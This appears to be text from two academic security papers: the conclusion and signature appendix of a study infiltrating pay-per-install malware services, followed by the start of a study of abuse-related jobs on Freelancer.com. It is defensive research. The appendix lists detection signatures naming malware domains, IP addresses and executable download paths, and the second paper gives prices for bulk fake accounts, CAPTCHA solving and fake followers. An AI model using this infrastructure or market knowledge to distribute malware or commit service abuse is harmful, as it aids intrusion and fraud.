Rustock, Securitysuite, and SmartAdsSolutions families,
each of which our milkers downloaded at least 100 times
during August. We selected these groups to highlight
characteristics we observe in geographical distribution;
other families exhibit similar patterns.

Three trends in geographical distribution emerge.
First, we commonly see families of malware preferen-
tially targeting Europe and the US (e.g., Ertfor, Secu-

ritysuite, and SmartAdsSolutions). Second, some fami-
lies exclusively target the US or another single country
(e.g., Gleishug). Finally, we observe families with no
geographical preferences (e.g., Rustock).

Several factors can influence a PPI client’s choice of
country. First, the class of activity in which the client’s
executable engages. A spam bot such as Rustock requires
little more than a unique IP address to send spam, while
fake AV such as Securitysuite often targets speakers of a
specific language, and may need to support user payment
methods specific to some areas. In addition, the install
rate a client pays also varies depending on the targets’
countries. We find the US and Great Britain generally at
the high end ($100–180 per thousand), other European
countries in the middle ($20–160), and the rest of the
world at the bottom (< $10) [12, 13, 19].

4.5 Affiliate–PPI Interactions

Surprisingly, among the binaries that we milk we find a
number of affiliate PPI downloaders. That is, download-
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Figure 7: Prevalence of six malware families seen by our milkers from different country vantage points.

ers not infrequently download other downloaders. This
indicates that some PPI affiliates have also signed up as
clients of PPI services. To understand these affiliate–PPI
interactions, we extracted the unique affiliate identifier
embedded in each of the PPI downloaders found in our
milk, which we can observe from its transmission (pre-
sumably for accounting purposes) during the C&C ex-
change.

Using these identifiers, we observe that affiliates from
one PPI service themselves sometimes act as clients
of other PPI services. This behavior manifests by our
milker, impersonating affiliate X for PPI service A, fetch-
ing an executable for installation that corresponds to a
downloader for affiliate Y of PPI service B.

We speculate that some of these multi-PPI-service af-
filiates represent arbitrageurs who try to take advantage
of pricing differentials between the (higher) install rates
paid to the affiliates of one service for some geographical
regions versus the (lower) install rates charged to clients
of another PPI service. For example, we observe that
LoaderAdv’s affiliate 701 signed as a client of GoldIn-
stall, using the latter to distribute 701’s personalized
LoaderAdv downloader for four days. Here, the price
differential includes the US, Canada, and Europe, from
which our GoldInstall milkers collected this executable.

Perhaps even more surprising, we find affiliates from
one PPI service who are also clients of the same PPI ser-
vice. For example, LoaderAdv’s affiliate 515 distributed
their personalized LoaderAdv downloader over Europe
and Brazil using the LoaderAdv service for a total of
20 hours. We see a similar behavior from affiliates 0625
and gol of the GoldInstall service, both clients and af-
filiates of GoldInstall. We conjecture that this happens
when affiliates try to take advantage of the price differ-
ential between the (higher) install rates paid to the af-
filiates for some geographical regions over the (lower)
install rates paid by the clients for installing on the same
regions. Note that such price differential is possible be-
cause the PPI service oversells installs: multiple clients

can pay the service for installs that cost the service only
a single affiliate payout. We suspect the PPI service can
detect this behavior would not credit both affiliates for
the install.

In a yet more convoluted case, we observed a GoldIn-
stall affiliate, e4u, signing up as a client for both GoldIn-
stall and LoaderAdv. We speculate that e4u most likely
stands for “earning4u”, the brand for the LoaderAdv PPI
service at that time. (Presumably this affiliate simply
took advantage of price differentials within the GoldIn-
stall service and with the LoaderAdv service, but possi-
bly e4u in fact represents the LoaderAdv gang itself.)

4.6 The Download Tree

One important observation of our work regards how
the nesting of downloaders-downloading-additional-
downloaders can quickly grow strikingly complex. To
capture such nesting we use a download tree. Nodes in
the tree represent programs identified by hashes of their
binary. At each branch in the tree, children represent
programs installed by the parent. Figure 8 shows an ex-
ample download tree. We term any node with children
a downloader. Nodes with a single child may be spe-
cialized downloaders for the child family, while nodes
with multiple children may reflect PPI downloaders that
charge the children for the installs. Leaf programs may
implement any of a number of recognizable malware be-
haviors, including sending spam, performing click-fraud,
and stealing personal information.

Generating the download tree requires carefully iden-
tifying the dependencies between installed programs,
e.g., which program downloads and executes other pro-
grams. To build the tree in Figure 8, the client mal-
ware programs need the freedom to download other exe-
cutables from the Internet. For this experiment we used
a different containment policy that sinks everything but
HTTP and C&C. In addition, we rate-limited the outgo-
ing HTTP and C&C traffic, and a human operator mon-
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Loaderadv
687b2125e0f8c4d3ae68be2f7182f444

Torpig
a4ab5d0472d8d979fe6e249b679542b1

Pinit
2a0a8bd396359fce6bd2ffe6cbabe60e

Ambler
c55c3dd560581bd0d56c934560d3f5a5

Zbot
e400573df78d3d82523edfa8559dc320

Rustock
fdc7d559e9db995b22ed3b857dca1b7e

Goldinstall-list
a9de3aa03d35e07f2c73fe54aa9b08d6

Pushdo
bd662395b8ca156cc76519ac16bd16d9

Rustock-dl
2982fb0cf2a6d77d6fc6bd3e8ddb557f

GoldInstall-dl
9488bd937386ac84a6c70c8503541947

Loaderadv-ack
c3b7afc60b358bbe62ec625798116339

...... ...

Figure 8: A download tree starting with a single Loaderadv downloader. Stripes indicate PPI service-related binaries.

itored the execution in real-time to stop the process if
anything unexpected happened.

The download tree in Figure 8 comes from the live
execution of (originally) a single LoaderAdv PPI down-
loader that we ran in our controlled environment. Strik-
ingly, the entire execution required under 10 minutes—
with several additional leaf nodes omitted for clarity!
Thus, the example illustrates how quickly an exploited
system can transform from unmolested operation to host-
ing a veritable ecosystem of malware.

5 Discussion

Our findings have a number of implications, as follows.

Malware classification. Our work shows that we should
conceptually separate the exploitation mechanism com-
promising a system from the malware that the system
subsequently hosts. For example, it may not make sense
to characterize malware by its infection method beyond
malware that self-propagates and malware that does not.
Botmasters might simply purchase installation of their
malware from PPI services which can use a variety of
distribution methods.

The installation of malware from multiple clients
on a single target host has important implications for
behavior-based malware classification. For example,
when writing a malware analysis report it is easy to con-
fuse a downloader with malware that it happens to install
during one particular execution. Such confusion can then
result in misleading statistics characterizing the preva-
lence of malware families. Furthermore, malware anal-
ysis platforms that execute malware with Internet con-
nectivity [1, 2, 30] should carefully track program down-
loads and their execution, to allow separation of each
program’s runtime behavior. Without a download tree,
behavioral reports may reflect the aggregate behavior of

multiple types of malware. These aggregate reports may
result in incorrect classifications, and in the worst case
the produced signature may fail to detect individually ex-
ecuting malware.

Regarding classification techniques, we note that our
work does not aim to pursue advances in the field of be-
havioral malware signature generation, and instead em-
ploys straightforward techniques. We could fruitfully in-
corporate much of the published research in this space
into our classification approach.

Defenses. As defenders, we need to understand and ap-
preciate the threat posed by the “silent installs” industry.
PPI services have direct implications for takedown ef-
forts: even if defenders can completely clean up a botnet
(as opposed to merely severing its C&C master servers),
the botmaster could return to business-as-usual through
modest payments to one or more PPI services. Given that
multiple malware authors share use of the same PPI ser-
vices, and that the number of PPI services seems to be
significantly smaller than the number of malware fam-
ilies, PPI services are good targets for future takedown
efforts. However, the commoditization of the malware
industry could make it easy to recreate PPI services else-
where after takedown, so the focus should be on identify-
ing and apprehending the people that run such services.

Regarding detection techniques, we observe that the
content-based features of our signatures perform better
than the endpoint-based features. The former wins over
the latter in our handling of the periodic replacement
of stale URLs PPI services employ for hosting the mal-
ware executables, likely to bypass URL blacklists. We
also observe that many downloaders employ a simple
download-and-execute strategy, which in turn suggests
that defenders might realize significant protections by
employing taint-based approaches that identify the ex-
ecution of downloaded data.
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Evasion. Infiltrating the PPI C&C protocols required
significant reverse-engineering effort on our part. As
miscreants become aware of this possibility and more
parties launch infiltration attempts, adversarial evolu-
tion will surely complicate this process. In particular,
we expect PPI services to harden their C&C protocols
with more robust use of cryptographic techniques and
incorporation of anti-virtualization and triggering mech-
anisms to increasingly hamper dynamic analysis. On the
other hand, the fact that a relatively modest infiltration
effort sufficed to gain insight into many of today’s top
malware families is encouraging. Analysts should re-
main on the lookout for opportunities to infiltrate core
components of the modern malware ecosystem, which
may offer broad insights into the malware landscape.

6 Conclusion
We have presented the results of the first systematic study
of the pay-per-install (PPI) ecosystem, conducted by in-
filtrating the malware distribution mechanism of PPI ser-
vices. The ability to “milk” malware binaries directly
from the source provides an unprecedented intelligence
capability to defenders. We leveraged this approach
to measure technical aspects of the market surrounding
malware installation.

Starting with a network-behavioral classification of a
one-month corpus of 313,791 binaries, we identified 12
of the 20 most prevalent families of malware. We illus-
trated how infection with several clickfraud and fake-AV
families specifically target the United States and Europe,
while other malware classes, such as spam bots, are dis-
tributed worldwide. Our examination of repacking rates
of PPI-distributed malware showed that on average bina-
ries are repacked every 11 days, with one family of mal-
ware repacking up to twice a day. Finally, we illuminated
the relationships among actors in the PPI ecosystem, in-
cluding the identification of LoaderAdv and GoldInstall
affiliates that apparently engage in pricing arbitrage by
becoming clients to other PPI providers.
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A Examples of Signatures

This appendix provides a concrete view of several of the
malware signatures that appear in Table 3. We include
four popular-but-untagged clusters, and two versions of
Palevo for reference.

Each signature consists of three parts: URL,
DOMAIN, and PAYLOAD statements followed by
associated contents. The URL can contain regular
expressions; we only use it for HTTP-based protocols.
DOMAINS can list IP addresses or domains (with or
without subdomains). PAYLOAD statements specify the
parameters for where, type, contents, and len.
where specifies the location to match, with “begin”
meaning at the beginning of the payload. We use type
to inform the engine whether to interpret the contents as
a string or as an array of bytes. Finally, len restricts the
length of the checked packet: a signature that specifies a
len will only match if the packet has exactly the given
length in bytes.

CLUSTER: A

URLS
/svc.php\?ver=

DOMAINS
sy.perfectexe.com
sy2.perfectexe.com
sy3.perfectexe.com

CLUSTER: B

URLS
/get.cgi\?.+
/data.cgi

DOMAINS
f19dd4abb8b8bdf2.cn
2bff2694930d2e21.cn
697fe322c995da1a.net
89e3aaecc2ba1734.net
ade34ea82c4f7f2f.net

CLUSTER: C

DOMAINS
ds.perfectexe.com

URLS
/active.asp\?[0-9]{2}

CLUSTER: D (URLs truncated for space)

DOMAINS
x.liruna.com

URLS
/x.ashx\?
ashx\?a=get&v=
ashx\?a=[ˆ&]+v=[ˆ&]+&fid=[ˆ&]+&id=...

Palevo

DOMAINS
193.104.186.88
76.76.99.186
f5v9w.com
e7j0h7.cn
mp1r3n.ru

URLS
/hygtrve.exe
/htrgef.exe
/htgref.exe
/hybtvr.exe

PAYLOAD
where : begin,
type : bytes,
contents : [[0x61]],
len : 7

Palevo2

DOMAINS
ff.fjpark.com
fifa2012terra.com
converter50.com

URLS
/rip.exe, /usa.exe, /575.exe,
/adv.exe, /adv2.exe, /rip2.exe,
/prr.exe, /4757exe.exe

PAYLOAD
where: begin,
type : bytes,
contents : [[0x18]],
len : 21,
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Abstract
Modern Web services inevitably engender abuse, as at-
tackers find ways to exploit a service and its user base.
However, while defending against such abuse is gener-
ally considered a technical endeavor, we argue that there
is an increasing role played by human labor markets. Us-
ing over seven years of data from the popular crowd-
sourcing site Freelancer.com, as well data from our own
active job solicitations, we characterize the labor market
involved in service abuse. We identify the largest classes
of abuse work, including account creation, social net-
working link generation and search engine optimization
support, and characterize how pricing and demand have
evolved in supporting this activity.

1 Introduction
Today’s online Web services—search engines, social net-
works, and the like—create value for their users by help-
ing them find and interact with content generated by
other users. While these services typically rely on adver-
tising for their revenue, their open access and reliance on
user-generated content create powerful opportunities for
abusers to fabricate secondary, extremely cheap advertis-
ing channels as well. The result is well-known: Web-mail
spam, polluted search results, “friend” requests from fake
persons and so on. These activities are broadly termed
service abuse: they exploit some feature of a public ser-
vice for an attacker’s financial gain at the expense of the
service provider.

Each Web service provider aims to prevent such activi-
ties and preserve the value of their advertising enterprise.
To that end, most Web sites include extensive contracts
declaring limits on the way their services may be used.
However, implicit threats of legal action rarely deter at-
tackers, and so the provider must rely on a broad range
of defenses and countermeasures to enforce their terms
of service. While the technical details of this “arms race”
are themselves interesting, they are ultimately just symp-
toms of this larger struggle over controlling who may
monetize access to a site’s users.

Thus, in this paper we do not focus deeply on the un-
derlying technical attacks themselves, but rather explore
the human labor markets in which these capabilities are
provided. Though not widely appreciated, today there
are vibrant markets for such abuse-oriented services and

in a matter of minutes, one can buy a thousand phone-
verified Gmail accounts for $300 or a thousand Facebook
“friends” for $26. Much of this activity occurs on free-
lance work sites in which buyers “crowdsource” work
by posting jobs they need done, and globally distributed
workers bid on projects they are willing to take on.1

There are multiple advantages in this approach. First,
many anti-abuse countermeasures are designed to de-
tect or deter mechanistic automation and can be by-
passed through the use of low-cost human labor. Perhaps
the best known example of this phenomenon is found
in CAPTCHAs, human-solvable puzzles designed to be
challenging for automated solvers. While these puzzles
are specifically designed to prevent computer-based ser-
vice abuse, we have previously documented how a robust
CAPTCHA-solving marketing has emerged by aggregat-
ing large amounts of cheap human labor instead [12].

A second advantage is that the crowdsourcing medium
allows innovative attackers to quickly explore differ-
ent schemes for evading anti-abuse defenses (due to the
agility of a large contract labor pool). Finally, once a
new attack scheme becomes sufficiently popular to com-
moditize, competitive pressures naturally drive workers
to develop the most efficient means of satisfying the
demand. Indeed, eventually the most popular activities
(e.g., CAPTCHA-solving or phone verified accounts)
can support their own branded retail services outside the
scrum of the spot labor market.

In this paper, we characterize the abuse-related labor
on Freelancer.com, one of the largest and most popu-
lar freelancer sites. Using almost seven years of historic
data, and a range of our own contemporary work solici-
tations, we examine four classes of jobs:

� Account registration and verification,
� SEO content and link generation,
� Ad posting and bulk mailing,
� Social network linking

Each of these represents a kind of service abuse, in-
corporating manual labor to bypass existing controls,
and each is ultimately a building block in some larger,
economically-driven, advertising enterprise.

1To be clear, while the majority of such work is legitimate—
anything from corporate logo design to software development—a large
minority serves the online service abuse ecosystem.
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The rest of this paper is organized as follows. Section 2
describes crowdsourcing and the Freelancer.com service
in particular. In Section 3 we explain our methodology,
the data we have gathered and the different categories
of jobs in our study. Section 4 explains, as case studies,
several components of the abuse value chain that have
become semi-commoditized, followed by a characteri-
zation of the Freelancer labor market in Section 5. Sec-
tion 6 places these abuse activities into a larger, interre-
lated context and Section 7 summarizes our findings.

2 Background
Outsourcing has long been a cost-cutting strategy in
developed economies—pushing out key business pro-
cesses to exploit the efficiencies or lower labor costs of
third-party service providers. A more recent innovation
is “crowdsourcing”, further unbundling labor from any
structured organization and leveraging the broad connec-
tivity provided by the Internet. In this model, individuals
participate in the labor force as free agents, responding to
open calls for work on a piecework basis. In many cases,
crowdsourcing is built on free labor (e.g., for many con-
tributors to open-source projects, or in von Ahn’s sem-
inal ESP game [3]). However, fee-based crowdsourcing
sites quickly emerged, the most famous being Amazon’s
Mechanical Turk service. Using such services, employ-
ers post requests for service at a particular price, while
laborers in turn can “solve” the subset of requests that
appeal to them.

However, crowdsourcing also presents a number of
concerns. First, as an employment vehicle, crowdsourc-
ing is controversial, since critics claim its pure free-
market approach to labor has the potential to be highly
exploitative, particularly of those in developing coun-
tries; one recent analysis estimates that the average
hourly wage on Mechanical Turk is $5/hour [8]. More-
over, even on the employer side of the equation, crowd-
sourcing can be problematic since—absent any strong
reputation mechanism—there may be little incentive for
workers to provide quality work-products. Consequently,
third-party services, such as crowdflower, have emerged
that trade cost for data quality by replicating work re-
quests and voting among them [1].

However, a less appreciated negative impact of this
ecosystem is how anonymous access to cheap aggregated
labor impacts the security of existing of Internet services.
Indeed, as we show in this paper, the crowdsourced mar-
ket for Web service abuse labor is thriving.

Much of this activity takes place on “freelancing”
sites, in which employers post jobs and select individ-
ual workers based on their bids and bilateral negotiation.
There are a large number of such sites with the most pop-
ular being Freelancer, Elance, RentACoder, Guru, and
oDesk. In this paper we specifically examine the activ-

ity at Freelancer.com, one of the oldest and largest sites,
claiming roughly two million employers and workers [6]
from 234 different geographic regions and with close to
nine hundred thousand projects posted on the site since
2004. We specifically chose Freelancer because the site
offers an open API for querying information about past
jobs and users. We have also gathered smaller amounts
of data from most of the other large freelancer sites (i.e.,
via scraping) but since the activity is extremely similar
across sites we chose to focus on the one for which our
data was comprehensive.

Visitors to Freelancer must register and select a handle
by which they are visible to other users. The only due
diligence concerning a user’s identity is a requirement
to have a valid email address. The site does offer “skills
tests” for a fee, by which individual users may demon-
strate proficiency in various skills and earn “badges” vis-
ible on their profile. There is no discrimination between
employers and workers and any user can participate on
either or both sides of the labor market.

To post a project on the site, the project poster, or
buyer, must pay a $5 fee, which is refunded once a
worker is selected. Buyers may choose to pay an addi-
tional fee of $14 to have their jobs “featured”, mean-
ing that they are listed towards the top of the job list-
ings. Workers independently scan these jobs listings to
find projects matching their particular skill sets and then
place bids (a combination of structured fields, such as
dollar amounts, and freeform text). Buyers then select
the workers who are most appropriate for their tasks.

Once workers are chosen, Freelancer charges either $3
or 3% of the total project cost to the buyers, depending on
whichever amount is higher (Freelancer acts as the mid-
dleman in the transaction, using online payment methods
such as PayPal, Moneybookers and Webmoney). How-
ever, some less scrupulous buyers are reputed to simply
cancel their orders and settle with workers out-of-band.
Finally, while job postings are effectively “broadcast”,
there are a range of such posts that identify themselves
as private by specifically identifying the workers they are
interested in employing.

3 Data Overview
In this section, we describe our methodology for collect-
ing data on Freelancer job activity and categorizing the
jobs into various kinds of “dirty” tasks.2

3.1 Data Collection Methodology
Freelancer.com exports an API for programmatically
querying for information regarding projects and users.
Using this API, we implemented a crawler to collect both

2While space prevents a detailed description of the oversight and
ethical considerations here, our protocols were reviewed by our Human
Research Protections Program and we consulted with key brand holders
in advance of any active purchasing activity.
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Activity Count

Projects 842,199
Projects w/ Selected Workers 388,733 (46%)

Project Bids 12,656,978
Active Users 815,709

Buyers Only 179,908 (22.1%)
Workers Only 590,806 (72.4%)
Buyer & Workers 44,995 (5.5%)

Table 1: Summary of Freelancer activity between February 5,
2004 and April 6th, 2011.

contemporary and historical information about Free-
lancer activity. We ran the crawler from December 16,
2010 through April 6, 2011 to minimize load on the
site. For historical data, we observed that Freelancer
uses monotonically increasing IDs for both projects and
users. To crawl all projects over time, we iterated through
the entire available project ID space, which at the time
ranged from 1–1,015,634. As a result, the job postings in
our data set represent all of the jobs that were viewable
through the API. We derived the set of user IDs based
upon the set of projects, including any user associated
with a project as buyer, bidder, or worker.3

For all crawled projects, we extracted the project de-
tails and the corresponding project bids, as well as the
buyer, bidders, and selected workers who were awarded
the projects (if any). For all users we encountered, we
downloaded their public account metadata and feedback
comments.

3.2 Data Summary
Starting with the earliest project posted on February 5,
2004 at 12:28 EST, we collected data through April 6th,
2011, capturing over seven years of activity. Table 1 sum-
marizes this data set. During this time, 842,199 jobs were
posted to Freelancer4 and 815,709 users were active on
the site. Roughly 46% of the posted jobs report a worker
selected for the job. This number represents a lower
bound on the number of job transactions; a buyer and
a worker will sometimes use Freelancer to rendezvous,
but will negotiate the transaction through private mes-
saging and, thus, never report a selected worker. Among
all users associated with at least one project, 22.1% were
buyers only, 72.4% were bidders/workers only, and 5.5%
served as both.

3Unlike projects, we did not exhaustively collect information for all
two million users by crawling the user ID space since the majority of
users do not appear to be active on the site.

4Note the discrepancy of 173,435 jobs between the maximum ID
and the number of postings we obtained through the API. When crawl-
ing these IDs, Freelancer’s API returned an error indicating that the ID
was invalid. We assume that invalid IDs are jobs that never existed or
have been deleted—which, according to complaints, happens for only
a select number of jobs that egregiously violate Freelancer rules.
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Figure 1: Growth in Freelancer activity over time. Numbers in
parentheses in the legend denote the largest activity in a month.

Activity on Freelancer has grown steadily over time.
Figure 1 shows the number of jobs offered and the num-
ber of bids made per month, as well as the number of
new buyers and bidders per month. To overlay and com-
pare the curves, we normalized them to their maximum
monthly value as listed in Table 1. The curves all show a
drop in activity in December 2006 (the reason for which
we have not been able to determine). After this point,
Freelancer experiences strong linear growth in buyers
and bidders and their associated posting and bidding ac-
tivity. Freelancer’s job market is healthy and growing.
Work posted by a steadily increasing number of buyers
(5,000 new buyers a month on average in 2010) has been
satisfied by an equally steadily increasing supply of bid-
ders (15,000 new bidders/month).

3.3 Categorizing Jobs
Our first step in understanding Freelancer activity is to
categorize the types of jobs found on the site. We use a
two-step process for this categorization. We first manu-
ally browse sampled projects to identify a meaningful list
of job categories. We then use a combination of keyword
matching and supervised learning to identify jobs from
the entire Freelancer corpus that fall into the categories.

From browsing random job postings, gauging the in-
terest level in various tasks from observed bidding ac-
tivity, and incorporating awareness of the larger under-
ground cybercrime ecosystem, we identified 22 types of
jobs falling into six categories. To establish a baseline of
the prevalence of these types of jobs, we manually in-
spected a random sample of 2,000 jobs, tagging each job
with a category.

Table 2 summarizes the list of categories and the dis-
tribution of jobs that fall into each category from our ran-
dom sample. Note that a job may be tagged under multi-
ple categories; for example, social bookmarking jobs for
search engine optimization (SEO) usually also require
account creation. Legitimate projects comprise 65.4% of
these jobs and primarily involve Web-related program-
ming and content creation tasks. We include private jobs,
corresponding to projects targeted to one specific user, in
the legitimate job class, since we typically do not know
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Category Job Type Description Count %

Legitimate [§A.1] Web Design/Coding Create, modify, or design a Web site 769 38.5
Multimedia Related Complete multimedia-related task (e.g., Flash) 265 13.2
Private Jobs Jobs designated for a particular worker 138 6.9
Desktop/Mobile Applications Create a desktop or mobile application 100 5.0
Legitimate Miscellaneous Miscellaneous jobs 177 8.8

Accounts [§A.2] Account Registrations Create accounts with no defined requirements 22 1.1
Human CAPTCHA Solving Requests for human CAPTCHA solving 19 0.9
Verified Accounts Create verified accounts (e.g. phone) 14 0.7

SEO [§A.3] SEO Content Generation Requests for SEO content (e.g., articles, blogs) 195 9.8
Link Building (Grey Hat) Get backlinks using grey hat methods 53 2.6
Link Building (White Hat) Get backlinks using no grey/black hat methods 20 1.0
SEO Miscellaneous Nonspecific SEO-related job postings 61 3.0

Spamming [§A.4] Ad Posting Post content for human consumption 25 1.2
Bulk Mailing Send bulk emails 8 0.4

OSN Linking [§A.5] Create Social Networking Links Get friends/subscribers/fans/followers/etc. 33 1.7

Misc [§A.6] Abuse Tools Tools used for abuse (e.g., CAPTCHA OCR) 41 2.1
Clicks/CPA/Leads/Signups Get clicks, emails, zip codes, signups, etc. 32 1.6
Manual Data Extraction Manually visit websites and scrape content 21 1.1
Gather Email/Contact Lists Research contact details for targeted people 17 0.9
Academic Fraud Write essays, code homework assignments, etc. 10 0.5
Reviews/Astroturfing Create positive reviews 1 0.1
Other Malicious Miscellaneous jobs with malicious intentions 35 1.8

Table 2: Distribution of 2,000 random, manually-labeled projects into job categories. Referenced sections of the appendix include
examples of jobs in the corresponding category.

the job details; private postings, however, will sometimes
contain enough data to determine their intent. In our
manually labeled corpus, we were unable to determine
the intent of 5.4% of the jobs. The remaining 29.2% of
the jobs correspond to various kinds of “dirty” jobs, rang-
ing from delivering phone-verified Craigslist accounts
in bulk to a wide variety of search-engine optimization
(SEO) tasks.

We then focused on identifying jobs in the entire Free-
lancer corpus that fall into “dirty” categories. Since we
could not manually classify all jobs, we used keyword
matching to generate training sets and supervised learn-
ing to train classifiers for each category. We then applied
the classifiers to each job to determine the dirty category
it falls into, if any.

To find positive examples for each classifier, we used
keywords associated with the job type to conservatively
identify jobs that fall into each category. For example,
to locate jobs about CAPTCHA solving, we searched
job postings for the terms “CAPTCHA” and “type” or
“solve”. For negative examples, we randomly chose jobs
from the other orthogonal job types. For features, we
computed the well-known tf-idf score (term frequency-
inverse document frequency) of each word present in the
title, description, and keywords associated with jobs in
the training sets. We then used svm-light [9] to train clas-

sifiers specific to each category.
Table 3 shows the results of applying these classifiers

to all Freelancer jobs. We focus on just those dirty job
categories that had at least 1,000 jobs. Although the clas-
sifiers are not perfect (e.g., some jobs placed in the “link
building” categories might be better placed in the more
generic “SEO” category), they sufficiently capture the set
of jobs in each category and greatly increase the number
of jobs we can confidently analyze. Note that we did not
attempt to be complete in the categorization of the post-
ings: there are likely jobs that should be in a category
that we have missed. However, such jobs are also likely
not well-marketed to workers, since they most likely lack
the typical keywords and phrases commonly used in jobs
under those categories.

We focus on the jobs comprising these categories in
the analyses we perform in the subsequent sections.

3.4 Posting Job Listings
Pricing information is a crucial aspect of our study, since
it represents the economic value of an abusive activity to
attackers. Both job descriptions and bids contain pricing
info, often at odds with each other. To determine which
source of pricing info to use, we performed an experi-
ment where we posted jobs on Freelancer and solicited
bids. In the process, bidders posted public bids and, in
some cases, sent private messages to our user account.
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Class Job Type Count %

Accounts Account Registrations 6,249 0.7
Human CAPTCHA Solving 4,959 0.6
Verified Accounts 3,120 0.4

SEO SEO Content Generation 72,912 8.7
Link Building (Grey Hat) 16,403 1.9
Link Building (White Hat) 10,935 1.3

Spamming Ad Posting 11,190 1.3
Bulk Mailing 3,062 0.4

OSN Linking OSN Linking 11,068 1.3

Table 3: Freelancer jobs categorized using the classifiers.

These private messages occasionally reveal the external
Web store fronts operated by Freelancer workers, in addi-
tion to the tools, services, and methods they use to com-
plete each type of job. We posted 15 job listings repre-
sentative of the categories for which we have classifiers.
We also randomly posted half of the jobs as a “featured”
listing to determine whether this increased the quantity
of bids we received (which it did).

Table 4 summarizes the results of our job posting ex-
periments. Of the 228 total bids we received, 47 were
commensurate with market rates for these projects. Most
of the remaining bids, however, were simply minimum
bids used as “place holders”. The actual bid amount was
either included in a private message to our buyer account,
or the bidder provided an email address to negotiate a
price outside of the Freelancer site to avoid the Free-
lancer fee.

Because many prices in the public bids severely un-
derestimate market prices, we use the prices in job de-
scriptions by buyers in our studies in Section 4. Even
so, we note that the pricing data has some inherent bi-
ases. They are advertised prices and not necessarily the
final prices that may have been negotiated with selected
workers. Further, we use prices that were systematically
extracted from the job descriptions. Even with hundreds
of hand-crafted regular expressions, we were only able
to extract pricing data from about 10% of the jobs. Job
descriptions are notoriously unstructured, ungrammati-
cal, and unconventional. These biases notwithstanding,
the pricing data is still useful for comparing the relative
value of jobs, as well as trends over time.

4 Case Studies
This section features case studies of the four groups of
abuse-related Freelancer jobs summarized in Table 2.

4.1 Accounts
Accounts on Web services are the basic building blocks
of an abuse workflow. Because they are the main mech-
anism for access control and policy enforcement (e.g.,
limits on number of messages per day), circumventing
these limits requires creating additional accounts, often

Class Job Type Bids Cost

Accounts Craigslist PVA 10 (4) $4.25
[§B.1] Gmail Accounts 6 (5) $0.07

Hotmail Accounts* 21 (12) $0.007
Facebook Accounts* 24 (10) $0.07

SEO Blog Backlinks* 10 (5) $0.30
[§B.2] Linking (White Hat)* 17 (8) $0.81

Forum Backlinks 12 (9) $0.50
Social Bookmarks* 44 (21) $0.13
Bulk Article Writing 29 (23) $3.00

Spamming Bulk Mailing 10 (5) 0.075¢
[§B.3] Craigslist Posting 10 (3) $0.60
OSN Facebook Friends* 11 (4) $0.026
Linking Facebook Fans 5 (5) $0.039
[§B.4] MySpace Friends 2 (2) $0.037

Twitter Followers* 7 (6) $0.02

Table 4: Results from posting job listings to Freelancer. A “*”
indicates the post was featured, the number within the “()” is
the number of bids that included prices. All prices in the cost
column are for the smallest unit of service (i.e., per one account,
backlink, email, post, and 500-word article).

at scale. Thus account creation has become the primary
battlefield in abuse prevention.

Accounts primarily enable a wide variety of spamming
and scamming. For Web mail services like Gmail and Ya-
hoo, spammers use accounts to send email spam, taking
advantage of the reputation of the online service to im-
prove their conversion rate. For online social networks
like Facebook and Twitter, spammers use accounts to
spam friends and followers (Section 4.2), taking advan-
tage of relationships to improve conversion. For classi-
fied services like Craigslist, spammers use accounts to
create highly-targeted lists, post high-ranking advertise-
ments for a variety of scams, recruit money laundering
and package handling mules, advertise stolen goods, etc.
Further, accounts on some services easily enable paired
accounts on related services (e.g., creating a YouTube ac-
count from a Gmail account), further extending the op-
portunities for spamming.

4.1.1 Account Creation Insights
In the context of another research effort, we obtained
approval from a major Web mail provider to purchase
fraudulently-created accounts on their service. We pur-
chased 500 such accounts from a retail site selling ac-
counts, gave them to the provider, and in return received
registration metadata for the supplied email accounts, in-
cluding account creation times and the IP addresses used
to register the accounts. We later discovered that the sup-
plier we contacted was a very active member of Free-
lancer.com; this worker is responsible for account set IN1
in Table 5.

The supplier had bid on 2,114 projects, had been cho-
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Name Rating Tested Valid (%) Age (Days)

IN1* 9.8 500 100.0 0.4
UK1 9.9 3,500 99.9 25.7
BD1 10 6,999 99.6 24.7
IN2 9.8 5,015 99.6 9.7
PK1 10 4,999 99.4 78.6
PK2 9.8 4,000 95.4 82.6
PK3 9.9 4,013 77.3 414.7
IN3 9.9 6,200 76.2 30.7
CA1** 9.6 508 15.7 21.7

Table 5: Summary of the results from purchasing email ac-
counts. The names of the account sets embed the worker
countries: IN is India, UK is the United Kingdom, BD is
Bangladesh, PK is Pakistan, and CA is Canada. The rating col-
umn refers to the average rating of the selected worker. Notes:
*We purchased IN1 in 2010, the rest in 2011. **The worker
responsible for CA1 repeatedly copied and pasted 508 accounts
to meet the 5k requirement.

sen as a selected worker on 147 projects, and served as
a buyer on 84 projects. Interestingly, the supplier acted
as a buyer for 25 jobs that involved the creation of other
Web mail account types. The supplier contracted out this
task at a rate of $10–20 per 1,000 accounts, and yet the
supplier charged $20 per 100 accounts on the retail Web
site, an order of magnitude more.

The accounts we purchased were created an average
of only 2.8 seconds apart, suggesting the use of either
automated software or multiple human account creation
teams in parallel.5 Such automation would be one way
to earn money bidding on account jobs for this particular
worker. Further, 81% of the IP addresses used to register
the accounts were on the Spamhaus blacklist, suggesting
the use of IP addresses from compromised hosts to defeat
IP-based rate limiting of account creation.

4.1.2 Experience Purchasing Accounts
In 2011, we commissioned a job to purchase additional
email accounts for the same Web mail provider in quan-
tities ranging from 3,500–7,000. We selected nine dif-
ferent workers, of which eight ultimately produced ac-
counts, listed in Table 5 after IN1. Once given the ac-
counts and the corresponding passwords, we logged into
the accounts and downloaded the newest and oldest in-
box pages (assuming the account was valid). Table 5
shows the results of the purchasing and account check-
ing. Of the eight email sets, seven consisted of largely
valid accounts, with over 75% of the tested email ac-
counts yielding a successful login. IN3 was particularly
interesting; the worker previously used the email ad-
dresses to create Facebook and Craigslist logins and
posts, then resold the accounts to us. Also, four of the

5We know that an effective automated CAPTCHA solver existed at
this time for this Web mail provider, so automation is the likely suspect.
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Figure 2: Median monthly prices offered by buyers for
1,000 CAPTCHA solves (top) and the monthly volume of
CAPTCHA solving posts (bottom), both as functions of time.
The solid vertical price bars show 25% to 75% price quartiles.

account batches are relatively old (as determined by the
date of their oldest emails), with the median age of the
accounts between two months and over one year. These
ages indicate that workers are likely sitting upon a stock-
pile of email accounts. Lastly, the worker ratings do not
seem to reflect the quality of the accounts, as demon-
strated by the high ratings (out of 10) achieved by those
workers responsible for the PK3, ID3, and most notably,
CA1 account sets.

4.1.3 CAPTCHA Solving
To keep the barrier to participation extremely low, cre-
ating an account at an online service today requires lit-
